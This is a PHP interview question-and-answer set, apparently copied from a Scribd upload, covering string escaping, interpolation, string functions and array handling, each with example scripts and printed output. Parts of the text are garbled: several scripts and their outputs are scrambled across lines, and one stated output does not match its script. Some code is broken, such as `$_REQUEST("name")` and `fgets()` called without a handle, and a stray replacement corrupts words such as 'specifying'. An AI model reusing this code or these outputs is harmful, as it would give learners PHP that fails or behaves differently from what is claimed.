P. 1
php interview questions with answers

php interview questions with answers

|Views: 1,756|Likes:

More info:

Published by: Abhishek Kumar Singh on Aug 19, 2009
Copyright:Attribution Non-commercial

Availability:

Read on Scribd mobile: iPhone, iPad and Android.
download as DOC, PDF, TXT or read online from Scribd
See more
See less

03/27/2013

pdf

text

original

What Are the Special Characters You Need to Escape in Single-Quoted Stings?

There are two special characters you need to escape in a single-quote string: the single quote (') and the back slash (\). Here is a PHP script example of single-quoted strings:
<?php echo 'Hello world!'; echo 'It\'s Friday!'; echo '\\ represents an operator.'; ?>

This script will print:
Hello world!It's Friday!\ represents an operator.

Can You Specify the "new line" Character in Single-Quoted Strings? You can not specify the "new line" character in a single-quoted string. If you don't believe, try this script:
<?php echo '\n will not work in single quoted strings.'; ?>

This script will print:
\n will not work in single quoted strings.

How Many Escape Sequences Are Recognized in Single-Quoted Strings? There are 2 escape sequences you can use in single-quoted strings:
• •

\\ - Represents the back slash character. \' - Represents the single quote character.

What Are the Special Characters You Need to Escape in Double-Quoted Stings? There are two special characters you need to escape in a double-quote string: the double quote (") and the back slash (\). Here is a PHP script example of double-quoted strings:
<?php echo "Hello world!"; echo "Tom said: \"Who's there?\""; echo "\\ represents an operator."; ?>

This script will print:

Hello world!Tom said: "Who's there?"\ represents an operator.

How Many Escape Sequences Are Recognized in Double-Quoted Strings? There are 12 escape sequences you can use in double-quoted strings:
• • • • • • • • • • • •

\\ - Represents the back slash character. \" - Represents the double quote character. \$ - Represents the dollar sign. \n - Represents the new line character (ASCII code 10). \r - Represents the carriage return character (ASCII code 13). \t - Represents the tab character (ASCII code 9). \{ - Represents the open brace character. \} - Represents the close brace character. \[ - Represents the open bracket character. \] - Represents the close bracket character. \nnn - Represents a character as an octal value. \xnn - Represents a character as a hex value.

How To Include Variables in Double-Quoted Strings? Variables included in double-quoted strings will be interpolated. Their values will be concatenated into the enclosing strings. For example, two statements in the following PHP script will print out the same string:
<?php $variable = "and"; echo "part 1 $variable part 2\n"; echo "part 1 ".$variable." part 2\n"; ?>

This script will print:
part 1 and part 2 part 1 and part 2

How Many Ways to Include Variables in Double-Quoted Strings? There are 3 formats to include variables in double-quoted strings:

"part 1 $variable part 2" - This is the simplest format to include a variable in a string. The variable name starts with the dollar sign and ends at the first character that can not be used in variable name. Space is good character to end a variable name. "part 1${variable}part 2" - This format helps you to clearly end the variable name. The variable name starts at dollar sign before the open brace (${) and ends at the close brace (}).

"part 1{$variable}part 2" - This format is also called complex format. You use this format to specify any complex variable expression in the same way as in a normal statement. The variable expression starts at ({$) followed by a variable name and ends at (}).

Here is a PHP script example of different ways to include variables in double-quoted strings:
<?php $beer = 'Heineken'; echo "$beer's taste is great.\n"; echo "He drank some ${beer}s and water.\n"; echo "She drank some {$beer}s and water.\n"; ?>

This script will print:
Heineken's taste is great. He drank some Heinekens and water. She drank some Heinekens and water.

How Many Ways to Include Array Elements in Double-Quoted Strings? There are 2 formats to include array elements in double-quoted strings:
• •

"part 1 $array[key] part 2" - This is called simple format. In this format, you can not specify the element key in quotes. "part 1 {$array['key']} part 2" - This is called complex format. In this format, the array element expression is specified in the same way as in a normal statement.

Here is a PHP script example of different ways to include variables in double-quoted strings:
<?php $fruits = array('strawberry' => 'red', 'banana' => 'yellow'); echo "A banana is $fruits[banana].\n"; echo "A banana is {$fruits['banana']}.\n"; ?>

This script will print:
A banana is yellow. A banana is yellow.

"A banana is $fruits['banana'].\n" will give you a syntax error. How To Access a Specific Character in a String? Any character in a string can be accessed by a special string element expression:

$string{index} - The index is the position of the character counted from left and starting from 0.

Here is a PHP script example:
<?php $string = 'It\'s Friday!'; echo "The first character is $string{0}\n"; echo "The first character is {$string{0}}\n"; ?>

This script will print:
The first character is It's Friday!{0} The first character is I

How To Assigning a New Character in a String? The string element expression, $string{index}, can also be used at the left side of an assignment statement. This allows you to assign a new character to any position in a string. Here is a PHP script example:
<?php $string = 'It\'s Friday?'; echo "$string\n"; $string{11} = '!'; echo "$string\n"; ?>

This script will print:
It's Friday? It's Friday!

How to Concatenate Two Strings Together? You can use the string concatenation operator (.) to join two strings into one. Here is a PHP script example of string concatenation:
<?php echo 'Hello ' . "world!\n"; ?>

This script will print:
Hello world!

How To Compare Two Strings with Comparison Operators?

PHP supports 3 string comparison operators, <, ==, and >, that generates Boolean values. Those operators use ASCII values of characters from both strings to determine the comparison results. Here is a PHP script on how to use comparison operators:
<?php $a = "PHP is a scripting language."; $b = "PHP is a general-purpose language."; if ($a > $b) { print('$a > $b is true.'."\n"); } else { print('$a > $b is false.'."\n"); } if ($a == $b) { print('$a == $b is true.'."\n"); } else { print('$a == $b is false.'."\n"); } if ($a < $b) { print('$a < $b is true.'."\n"); } else { print('$a < $b is false.'."\n"); } ?>

This script will print:
$a > $b is true. $a == $b is false. $a < $b is false.

How To Convert Numbers to Strings? In a string context, PHP will automatically convert any numeric value to a string. Here is a PHP script examples:
<?php print(-1.3e3); print("\n"); print(strlen(-1.3e3)); print("\n"); print("Price = $" . 99.99 print(1 . " + " . 2 . " = print(1 . " + " . 2 . " = print(1 . " + " . 2 . " = print("\n"); ?>

. "\n"); " . 1+2 . "\n"); " . (1+2) . "\n"); 3\n");

This script will print:
-1300 5 Price = $99.99 3

1 + 2 = 3 1 + 2 = 3

The print() function requires a string, so numeric value -1.3e3 is automatically converted to a string "-1300". The concatenation operator (.) also requires a string, so numeric value 99.99 is automatically converted to a string "99.99". Expression (1 . " + " . 2 . " = " . 1+2 . "\n") is a little bit interesting. The result is "3\n" because concatenation operations and addition operation are carried out from left to right. So when the addition operation is reached, we have "1 + 2 = 1"+2, which will cause the string to be converted to a value 1. How To Convert Strings to Numbers? In a numeric context, PHP will automatically convert any string to a numeric value. Strings will be converted into two types of numeric values, double floating number and integer, based on the following rules:
• •

The value is given by the initial portion of the string. If the string starts with valid numeric data, this will be the value used. Otherwise, the value will be 0 (zero). If the valid numeric data contains '.', 'e', or 'E', it will be converted to a double floating number. Otherwise, it will be converted to an integer.

Here is a PHP script example of converting some examples:
<?php $foo = 1 + "10.5"; echo "\$foo=$foo; type is " . gettype $foo = 1 + "-1.3e3"; echo "\$foo=$foo; type is " . gettype $foo = 1 + "bob-1.3e3"; echo "\$foo=$foo; type is " . gettype $foo = 1 + "bob3"; echo "\$foo=$foo; type is " . gettype $foo = 1 + "10 Small Pigs"; echo "\$foo=$foo; type is " . gettype $foo = 4 + "10.2 Little Piggies"; echo "\$foo=$foo; type is " . gettype $foo = "10.0 pigs " + 1; echo "\$foo=$foo; type is " . gettype $foo = "10.0 pigs " + 1.0; echo "\$foo=$foo; type is " . gettype ?>

($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n"; ($foo) . "\n";

This script will print:
$foo=11.5; type is double $foo=-1299; type is double $foo=1; type is integer $foo=1; type is integer $foo=11; type is integer $foo=14.2; type is double $foo=11; type is double

$foo=11; type is double

How To Get the Number of Characters in a String? You can use the "strlen()" function to get the number of characters in a string. Here is a PHP script example of strlen():
<?php print(strlen('It\'s Friday!')); ?>

This script will print:
12

How To Remove White Spaces from the Beginning and/or the End of a String? There are 4 PHP functions you can use remove white space characters from the beginning and/or the end of a string:
• • • •

trim() - Remove white space characters from the beginning and the end of a string. ltrim() - Remove white space characters from the beginning of a string. rtrim() - Remove white space characters from the end of a string. chop() - Same as rtrim().

White space characters are defined as:
• • • • • •

" " (ASCII 32 (0x20)), an ordinary space. "\t" (ASCII 9 (0x09)), a tab. "\n" (ASCII 10 (0x0A)), a new line (line feed). "\r" (ASCII 13 (0x0D)), a carriage return. "\0" (ASCII 0 (0x00)), the NULL-byte. "\x0B" (ASCII 11 (0x0B)), a vertical tab.

Here is a PHP script example of trimming strings:
<?php $text = "\t \t Hello world!\t \t "; $leftTrimmed = ltrim($text); $rightTrimmed = rtrim($text); $bothTrimmed = trim($text); print("leftTrimmed = ($leftTrimmed)\n"); print("rightTrimmed = ($rightTrimmed)\n"); print("bothTrimmed = ($bothTrimmed)\n"); ?>

This script will print:

leftTrimmed = (Hello world! rightTrimmed = ( bothTrimmed = (Hello world!)

) Hello world!)

How To Remove the New Line Character from the End of a Text Line? If you are using fgets() to read a line from a text file, you may want to use the chop() function to remove the new line character from the end of the line as shown in this PHP script:
<?php $handle = fopen("/tmp/inputfile.txt", "r"); while ($line=fgets()) { $line = chop($line); # process $line here... } fclose($handle); ?>

How To Remove Leading and Trailing Spaces from User Input Values? If you are taking input values from users with a Web form, users may enter extra spaces at the beginning and/or the end of the input values. You should always use the trim() function to remove those extra spaces as shown in this PHP script:
<?php $name = $_REQUEST("name"); $name = trim($name); # $name is ready to be used... ?>

How to Find a Substring from a Given String? To find a substring in a given string, you can use the strpos() function. If you call strpos($haystack, $needle), it will try to find the position of the first occurrence of the $needle string in the $haystack string. If found, it will return a non-negative integer represents the position of $needle. Othewise, it will return a Boolean false. Here is a PHP script example of strpos():
<?php $haystack1 = "2349534134345pickzycenter16504381640386488129"; $haystack2 = "pickzycenter234953413434516504381640386488129"; $haystack3 = "center234953413434516504381640386488129pickzy"; $pos1 = strpos($haystack1, "pickzycenter"); $pos2 = strpos($haystack2, "pickzycenter"); $pos3 = strpos($haystack3, "pickzycenter"); print("pos1 = ($pos1); type is " . gettype($pos1) . "\n"); print("pos2 = ($pos2); type is " . gettype($pos2) . "\n"); print("pos3 = ($pos3); type is " . gettype($pos3) . "\n"); ?>

This script will print:
pos1 = (13); type is integer pos2 = (0); type is integer pos3 = (); type is boolean

"pos3" shows strpos() can return a Boolean value. What Is the Best Way to Test the strpos() Return Value? Because strpos() could two types of values, Integer and Boolean, you need to be careful about testing the return value. The best way is to use the "Identical(===)" operator. Do not use the "Equal(==)" operator, because it does not differentiate "0" and "false". Check out this PHP script on how to use strpos():
<?php $haystack = "needle234953413434516504381640386488129"; $pos = strpos($haystack, "needle"); if ($pos==false) { print("Not found based (==) test\n"); } else { print("Found based (==) test\n"); } if ($pos===false) { print("Not found based (===) test\n"); } else { print("Found based (===) test\n"); } ?>

This script will print:
Not found based (==) test Found based (===) test

Of course, (===) test is correct. How To Take a Substring from a Given String? If you know the position of a substring in a given string, you can take the substring out by the substr() function. Here is a PHP script on how to use substr():
<?php $string = "beginning"; print("Position counted from left: ".substr($string,0,5)."\n"); print("Position counted form right: ".substr($string,-7,3)."\n"); ?>

This script will print:
Position counted from left: begin

Position counted form right: gin

substr() can take negative starting position counted from the end of the string. How To Replace a Substring in a Given String? If you know the position of a substring in a given string, you can replace that substring by another string by using the substr_replace() function. Here is a PHP script on how to use substr_replace():
<?php $string = "Warning: System will shutdown in NN minutes!"; $pos = strpos($string, "NN"); print(substr_replace($string, "15", $pos, 2)."\n"); sleep(10*60); print(substr_replace($string, "5", $pos, 2)."\n"); ?>

This script will print:
Warning: System will shutdown in 15 minutes! (10 minutes later) Warning: System will shutdown in 5 minutes!

Like substr(), substr_replace() can take negative starting position counted from the end of the string. How To Reformat a Paragraph of Text? You can wordwrap() reformat a paragraph of text by wrapping lines with a fixed length. Here is a PHP script on how to use wordwrap():
<?php $string = "TRADING ON MARGIN POSES ADDITIONAL RISKS AND IS NOT SUITABLE FOR ALL INVESTORS. A COMPLETE LIST OF THE RISKS ASSOCIATED WITH MARGIN TRADING IS AVAILABLE IN THE MARGIN RISK DISCLOSURE DOCUMENT."; $string = str_replace("\n", " ", $string); $string = str_replace("\r", " ", $string); print(wordwrap($string, 40)."\n"); ?>

This script will print:
TRADING ON MARGIN POSES ADDITIONAL RISKS AND IS NOT SUITABLE FOR ALL INVESTORS. A COMPLETE LIST OF THE RISKS ASSOCIATED WITH MARGIN TRADING IS AVAILABLE IN THE MARGIN RISK DISCLOSURE DOCUMENT.

The result is not really good because of the extra space characters. You need to learn preg_replace() to replace them with a single space character. How To Convert Strings to Upper or Lower Cases? Converting strings to upper or lower cases are easy. Just use strtoupper() or strtolower() functions. Here is a PHP script on how to use them:
<?php $string = "PHP string functions are easy to use."; $lower = strtolower($string); $upper = strtoupper($string); print("$lower\n"); print("$upper\n"); print("\n"); ?>

This script will print:
php string functions are easy to use. PHP STRING FUNCTIONS ARE EASY TO USE.

How To Convert the First Character to Upper Case? If you are processing an article, you may want to capitalize the first character of a sentence by using the ucfirst() function. You may also want to capitalize the first character of every words for the article title by using the ucwords() function. Here is a PHP script on how to use ucfirst() and ucwords():
<?php $string = "php string functions are easy to use."; $sentence = ucfirst($string); $title = ucwords($string); print("$sentence\n"); print("$title\n"); print("\n"); ?>

This script will print:
Php string functions are easy to use. Php String Functions Are Easy To Use.

How To Compare Two Strings with strcmp()? PHP supports 3 string comparison operators, <, ==, and >, that generates Boolean values. But if you want to get an integer result by comparing two strings, you can the strcmp() function, which compares two strings based on ASCII values of their characters. Here is a PHP script on how to use strcmp():

<?php $a = "PHP is a scripting language."; $b = "PHP is a general-purpose language."; print('strcmp($a, $b): '.strcmp($a, $b)."\n"); print('strcmp($b, $a): '.strcmp($b, $a)."\n"); print('strcmp($a, $a): '.strcmp($a, $a)."\n"); ?>

This script will print:
strcmp($a, $b): 1 strcmp($b, $a): -1 strcmp($a, $a): 0

As you can see, strcmp() returns 3 possible values:
• • •

1: The first string is greater than the section string. -1: The first string is less than the section string. 0: The first string is equal to the section string.

How To Convert Strings in Hex Format? If you want convert a string into hex format, you can use the bin2hex() function. Here is a PHP script on how to use bin2hex():
<?php $string = "Hello\tworld!\n"; print($string."\n"); print(bin2hex($string)."\n"); ?>

This script will print:
Hello world!

48656c6c6f09776f726c64210a

How To Generate a Character from an ASCII Value? If you want to generate characters from ASCII values, you can use the chr() function. chr() takes the ASCII value in decimal format and returns the character represented by the ASCII value. chr() complements ord(). Here is a PHP script on how to use chr():
<?php print(chr(72).chr(101).chr(108).chr(108).chr(111)."\n"); print(ord("H")."\n"); ?>

This script will print:

Hello 72

How To Convert a Character to an ASCII Value? If you want to convert characters to ASCII values, you can use the ord() function, which takes the first charcter of the specified string, and returns its ASCII value in decimal format. ord() complements chr(). Here is a PHP script on how to use ord():
<?php print(ord("Hello")."\n"); print(chr(72)."\n"); ?>

This script will print:
72 H

How To Split a String into Pieces? There are two functions you can use to split a string into pieces:
• •

explode(substring, string) - Splitting a string based on a substring. Faster than split(). split(pattern, string) - Splitting a string based on a regular expression pattern. Better than explode() in handling complex cases.

Both functions will use the given criteria, substring or pattern, to find the splitting points in the string, break the string into pieces at the splitting points, and return the pieces in an array. Here is a PHP script on how to use explode() and split():
<?php $list = explode("_","php_strting_function.html"); print("explode() returns:\n"); print_r($list); $list = split("[_.]","php_strting_function.html"); print("split() returns:\n"); print_r($list); ?>

This script will print:
explode() returns: Array ( [0] => php [1] => strting [2] => function.html )

split() Array ( [0] [1] [2] [3] )

returns: => => => => php strting function html

The output shows you the power of power of split() with a regular expression pattern as the splitting criteria. Pattern "[_.]" tells split() to split whenever there is a "_" or ".". How To Join Multiple Strings into a Single String? If you multiple strings stored in an array, you can join them together into a single string with a given delimiter by using the implode() function. Here is a PHP script on how to use implode():
<?php $date = array('01', '01', '2006'); $keys = array('php', 'string', 'function'); print("A formated date: ".implode("/",$date)."\n"); print("A keyword list: ".implode(", ",$keys)."\n"); ?>

This script will print:
A formated date: 01/01/2006 A keyword list: php, string, function

How To Apply UUEncode to a String? UUEncode (Unix-to-Unix Encoding) is a simple algorithm to convert a string of any characters into a string of printable characters. UUEncode is reversible. The reverse algorithm is called UUDecode. PHP offeres two functions for you to UUEncode or UUDecode a string: convert_uuencode() and convert_uudecode(), Here is a PHP script on how to use them:
<?php $msgRaw = " From\tTo\tSubject Joe\tLee\tHello Dan\tKia\tGreeting"; $msgEncoded = convert_uuencode($msgRaw); $msgDecoded = convert_uudecode($msgEncoded); if ($msgRaw === $msgDecoded) { print("Conversion OK\n"); print("UUEncoded message:\n"); print("-->$msgEncoded<--\n"); print("UUDecoded message:\n"); print("-->$msgDecoded<--\n"); } else {

} ?>

print("Conversion not OK:\n");

This script will print:
Conversion OK UUEncoded message: -->M1G)O;0E4;PE3=6)J96-T#0I*;V4)3&5E"4AE;&QO#0I$86X)2VEA"4=R965T #:6YG ` <-UUDecoded message: --> From To Subject Joe Lee Hello Dan Kia Greeting<--

The output shows you that the UUEncode string is a multiple-line string with a special end-of-string mark \x20. How To Replace a Group of Characters by Another Group? While processing a string, you may want to replace a group of special characters with some other characters. For example, if you don't want to show user's email addresses in the original format to stop email spammer collecting real email addresses, you can replace the "@" and "." with something else. PHP offers the strtr() function with two format to help you:
• •

strtr(string, from, to) - Replacing each character in "from" with the corresponding character in "to". strtr(string, map) - Replacing each substring in "map" with the corresponding substring in "map".

Here is a PHP script on how to use strtr():
<?php $email = "joe@dev.pickzycenter.moc"; $map = array("@" => " at ", "." => " dot "); print("Original: $email\n"); print("Character replacement: ".strtr($email, "@.", "#_")."\n"); print("Substring replacement: ".strtr($email, $map)."\n"); ?>

This script will print:
Original: joe@dev.pickzycenter.moc Character replacement: joe#dev_pickzycenter_moc Substring replacement: joe at dev dot pickzycenter dot moc

To help you to remember the function name, strtr(), "tr" stands for "translation".

What Is an Array in PHP? An array in PHP is really an ordered map of pairs of keys and values. Comparing with Perl, an array in PHP is not like a normal array in Perl. An array in PHP is like an associate array in Perl. But an array in PHP can work like a normal array in Perl. Comparing with Java, an array in PHP is not like an array in Java. An array in PHP is like a TreeMap class in Java. But an array in PHP can work like an array in Java. How To Create an Array? You can create an array using the array() constructor. When calling array(), you can also initialize the array with pairs of keys and values. Here is a PHP script on how to use array():
<?php print("Empty array:\n"); $emptyArray = array(); print_r($emptyArray); print("\n"); print("Array with default keys:\n"); $indexedArray = array("PHP", "Perl", "Java"); print_r($indexedArray); print("\n"); print("Array with specified keys:\n"); $mappedArray = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); print_r($mappedArray); print("\n"); ?>

This script will print:
Empty array: Array ( ) Array with Array ( [0] => [1] => [2] => ) default keys: PHP Perl Java

Array with specified keys: Array (

)

[Zero] => PHP [One] => Perl [Two] => Java

How To Test If a Variable Is an Array? Testing if a variable is an array is easy. Just use the is_array() function. Here is a PHP script on how to use is_array():
<?php $var = array(0,0,7); print("Test 1: ". is_array($var)."\n"); $var = array(); print("Test 2: ". is_array($var)."\n"); $var = 1800; print("Test 3: ". is_array($var)."\n"); $var = true; print("Test 4: ". is_array($var)."\n"); $var = null; print("Test 5: ". is_array($var)."\n"); $var = "PHP"; print("Test 6: ". is_array($var)."\n"); print("\n"); ?>

This script will print:
Test Test Test Test Test Test 1: 1 2: 1 3: 4: 5: 6:

How To Retrieve Values out of an Array? You can retrieve values out of arrays using the array element expression $array[$key]. Here is a PHP example script: <?php $languages = array(); $languages["Zero"] = "PHP"; $languages["One"] = "Perl"; $languages["Two"] = "Java"; print("Array with inserted values:\n"); print_r($languages); ?> This script will print:
Array with default keys: The second value: Perl Array with specified keys: The third value: Java

What Types of Data Can Be Used as Array Keys? Two types of data can be used as array keys: string and integer. When a string is used as a key and the string represent an integer, PHP will convert the string into a integer and use it as the key. Here is a PHP script on different types of keys:
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; print("Array with mixed keys:\n"); print_r($mixed); print("\$mixed[3] = ".$mixed[3]."\n"); print("\$mixed[\"3\"] = ".$mixed["3"]."\n"); print("\$mixed[\"\"] = ".$mixed[""]."\n"); ?>

This script will print:
Array with mixed keys: Array ( [Zero] => PHP [1] => Perl [Two] => Java [3] => C+ [] => Basic ) $mixed[3] = C+ $mixed["3"] = C+ $mixed[""] = Basic

Note that an empty string can also be used as a key. How Values in Arrays Are Indexed? Values in an array are all indexed their corresponding keys. Because we can use either an integer or a string as a key in an array, we can divide arrays into 3 categories:
• • •

Numerical Array - All keys are sequential integers. Associative Array - All keys are strings. Mixed Array - Some keys are integers, some keys are strings.

Can You Add Values to an Array without a Key? Can You Add Values to an Array with a Key? The answer is yes and no. The answer is yes, because you can add values without specipickzyng any keys. The answer is no,

because PHP will add a default integer key for you if you are not specipickzyng a key. PHP follows these rules to assign you the default keys:
• •

Assign 0 as the default key, if there is no integer key exists in the array. Assign the highest integer key plus 1 as the default key, if there are integer keys exist in the array.

Here is a PHP example script:
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; print("Array with default keys:\n"); print_r($mixed); ?>

This script will print:
Array with default keys: Array ( [Zero] => PHP [1] => Perl [Two] => Java [3] => C+ [] => Basic [4] => Pascal [5] => FORTRAN )

Can You Copy an Array? You can create a new array by copying an existing array using the assignment statement. Note that the new array is not a reference to the old array. If you want a reference variable pointing to the old array, you can use the reference operator "&". Here is a PHP script on how to copy an array:
<?php $oldArray = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); $newArray = $oldArray; $refArray = &$oldArray; $newArray["One"] = "Python"; $refArray["Two"] = "C#"; print("\$newArray[\"One\"] = ".$newArray["One"]."\n"); print("\$oldArray[\"One\"] = ".$oldArray["One"]."\n"); print("\$refArray[\"Two\"] = ".$refArray["Two"]."\n");

print("\$oldArray[\"Two\"] = ".$oldArray["Two"]."\n"); ?>

This script will print:
$newArray["One"] $oldArray["One"] $refArray["Two"] $oldArray["Two"] = = = = Python Perl C# C#

How to Loop through an Array? The best way to loop through an array is to use the "foreach" statement. There are two forms of "foreach" statements:
• •

foreach ($array as $value) {} - This gives you only one temporary variable to hold the current value in the array. foreach ($array as $key=>$value) {} - This gives you two temporary variables to hold the current key and value in the array.

Here is a PHP script on how to use "foreach" on an array:
<?php $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); $array["3"] = "C+"; $array[""] = "Basic"; $array[] = "Pascal"; $array[] = "FORTRAN"; print("Loop on value only:\n"); foreach ($array as $value) { print("$value, "); } print("\n\n"); print("Loop on key and value:\n"); foreach ($array as $key=>$value) { print("[$key] => $value\n"); } ?>

This script will print:
Loop on value only: PHP, Perl, Java, C+, Basic, Pascal, FORTRAN, Loop on key and value: [Zero] => PHP [One] => Perl [Two] => Java [3] => C+ [] => Basic [4] => Pascal [5] => FORTRAN

How the Values Are Ordered in an Array? PHP says that an array is an ordered map. But how the values are ordered in an array? The answer is simple. Values are stored in the same order as they are inserted like a queue. If you want to reorder them differently, you need to use a sort function. Here is a PHP script show you the order of array values:
<?php $mixed = array(); $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; $mixed["Two"] = ""; unset($mixed[4]); print("Order of array values:\n"); print_r($mixed); ?>

This script will print:
Order of array values: Array ( [Two] => [3] => C+ [Zero] => PHP [1] => Perl [] => Basic [5] => FORTRAN )

How To Copy Array Values to a List of Variables? If you want copy all values of an array to a list of variable, you can use the list() construct on the left side of an assignment operator. list() will only take values with integer keys starting from 0. Here is a PHP script on how to use list() construct:
<?php $array = array("Google", "Yahoo", "Netscape"); list($first, $second, $third) = $array; print("Test 1: The third site = $third\n"); list($month, $date, $year) = split("/","1/1/2006"); print("Test 2: Year = $year\n"); $array = array("Zero"=>"PHP", 1=>"Basic", "One"=>"Perl", 0=>"Pascal", 2=>"FORTRAN", "Two"=>"Java"); list($first, $second, $third) = $array; print("Test 3: The third language = $third\n"); ?>

This script will print:
Test 1: The third site = Netscape Test 2: Year = 2006 Test 3: The third language = FORTRAN

Test 2 uses the array returned by the split() function. Test 3 shows that list() will ignore any values with string keys. How To Get the Total Number of Values in an Array? You can get the total number of values in an array by using the count() function. Here is a PHP example script:
<?php $array = array("PHP", "Perl", "Java"); print_r("Size 1: ".count($array)."\n"); $array = array(); print_r("Size 2: ".count($array)."\n"); ?>

This script will print:
Size 1: 3 Size 2: 0

Note that count() has an alias called sizeof(). How Do You If a Key Is Defined in an Array? There are two functions can be used to test if a key is defined in an array or not:
• •

array_key_exists($key, $array) - Returns true if the $key is defined in $array. isset($array[$key]) - Returns true if the $key is defined in $array.

Here is a PHP example script:
<?php $array = array("Zero"=>"PHP", "One"=>"Perl", "Two"=>"Java"); print("Is 'One' defined? ".array_key_exists("One", $array)."\n"); print("Is '1' defined? ".array_key_exists("1", $array)."\n"); print("Is 'Two' defined? ".isset($array["Two"])."\n"); print("Is '2' defined? ".isset($array[2])."\n"); ?>

This script will print:
Is 'One' defined? 1 Is '1' defined? Is 'Two' defined? 1

Is '2' defined?

How To Find a Specific Value in an Array? There are two functions can be used to test if a value is defined in an array or not:
• •

array_search($value, $array) - Returns the first key of the matching value in the array, if found. Otherwise, it returns false. in_array($value, $array) - Returns true if the $value is defined in $array.

Here is a PHP script on how to use arrary_search():
<?php $array = array("Perl", "PHP", "Java", "PHP"); print("Search 1: ".array_search("PHP",$array)."\n"); print("Search 2: ".array_search("Perl",$array)."\n"); print("Search 3: ".array_search("C#",$array)."\n"); print("\n"); ?>

This script will print:
Search 1: 1 Search 2: 0 Search 3:

How To Get All the Keys Out of an Array? Function array_keys() returns a new array that contains all the keys of a given array. Here is a PHP script on how to use array_keys():
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; $keys = array_keys($mixed); print("Keys of the input array:\n"); print_r($keys); ?>

This script will print:
Keys of the input array: Array ( [0] => Zero

[1] [2] [3] [4] [5] [6] )

=> => => => => =>

1 Two 3 4 5

How To Get All the Values Out of an Array? F unction array_values() returns a new array that contains all the keys of a given array. Here is a PHP script on how to use array_values():
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; $values = array_values($mixed); print("Values of the input array:\n"); print_r($values); ?>

This script will print:
Values of the input array: Array ( [0] => PHP [1] => Perl [2] => Java [3] => C+ [4] => Basic [5] => Pascal [6] => FORTRAN )

How To Sort an Array by Keys? Sorting an array by keys can be done by using the ksort() function. It will re-order all pairs of keys and values based on the alphanumeric order of the keys. Here is a PHP script on how to use ksort():
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl";

$mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; ksort($mixed); print("Sorted by keys:\n"); print_r($mixed); ?>

This script will print:
Sorted by keys: Array ( [] => Basic [Two] => Java [Zero] => PHP [1] => Perl [3] => C+ [4] => Pascal [5] => FORTRAN )

How To Sort an Array by Values? Sorting an array by values is doable by using the sort() function. It will re-order all pairs of keys and values based on the alphanumeric order of the values. Then it will replace all keys with integer keys sequentially starting with 0. So using sort() on arrays with integer keys (traditional index based array) is safe. It is un-safe to use sort() on arrays with string keys (maps). Be careful. Here is a PHP script on how to use sort():
<?php $mixed = array(); $mixed["Zero"] = "PHP"; $mixed[1] = "Perl"; $mixed["Two"] = "Java"; $mixed["3"] = "C+"; $mixed[""] = "Basic"; $mixed[] = "Pascal"; $mixed[] = "FORTRAN"; sort($mixed); print("Sorted by values:\n"); print_r($mixed); ?>

This script will print:
Sorted by values: Array ( [0] => Basic [1] => C+

)

[2] [3] [4] [5] [6]

=> => => => =>

FORTRAN Java PHP Pascal Perl

How To Join a List of Keys with a List of Values into an Array? If you have a list keys and a list of values stored separately in two arrays, you can join them into a single array using the array_combine() function. It will make the values of the first array to be the keys of the resulting array, and the values of the second array to be the values of the resulting array. Here is a PHP script on how to use array_combine():
<?php $old = array(); $old["Zero"] = "PHP"; $old[1] = "Perl"; $old["Two"] = "Java"; $old["3"] = "C+"; $old[""] = "Basic"; $old[] = "Pascal"; $old[] = "FORTRAN"; $keys = array_keys($old); $values = array_values($old); print("Combined:\n"); $new = array_combine($keys, $values); print_r($new); print("\n"); print("Combined backward:\n"); $new = array_combine($values, $keys); print_r($new); print("\n"); ?>

This script will print:
Combined: Array ( [Zero] => PHP [1] => Perl [Two] => Java [3] => C+ [] => Basic [4] => Pascal [5] => FORTRAN ) Combined backward: Array ( [PHP] => Zero [Perl] => 1

)

[Java] => Two [C+] => 3 [Basic] => [Pascal] => 4 [FORTRAN] => 5

How To Merge Values of Two Arrays into a Single Array? You can use the array_merge() function to merge two arrays into a single array. array_merge() appends all pairs of keys and values of the second array to the end of the first array. Here is a PHP script on how to use array_merge():
<?php $lang = array("Perl", "PHP", "Java",); $os = array("i"=>"Windows", "ii"=>"Unix", "iii"=>"Mac"); $mixed = array_merge($lang, $os); print("Merged:\n"); print_r($mixed); ?>

This script will print:
Merged: Array ( [0] => Perl [1] => PHP [2] => Java [i] => Windows [ii] => Unix [iii] => Mac )

How To Use an Array as a Queue? A queue is a simple data structure that manages data elements following the first-in-firstout rule. You use the following two functions together to use an array as a queue:
• •

array_push($array, $value) - Pushes a new value to the end of an array. The value will be added with an integer key like $array[]=$value. array_shift($array) - Remove the first value from the array and returns it. All integer keys will be reset sequentially starting from 0.

Here is a PHP script on how to use an array as a queue:
<?php $waitingList = array(); array_push($waitingList, "Jeo"); array_push($waitingList, "Leo"); array_push($waitingList, "Kim");

$next = array_shift($waitingList); array_push($waitingList, "Kia"); $next = array_shift($waitingList); array_push($waitingList, "Sam"); print("Current waiting list:\n"); print_r($waitingList); ?>

This script will print:
Current Array ( [0] [1] [2] ) waiting list: => Kim => Kia => Sam

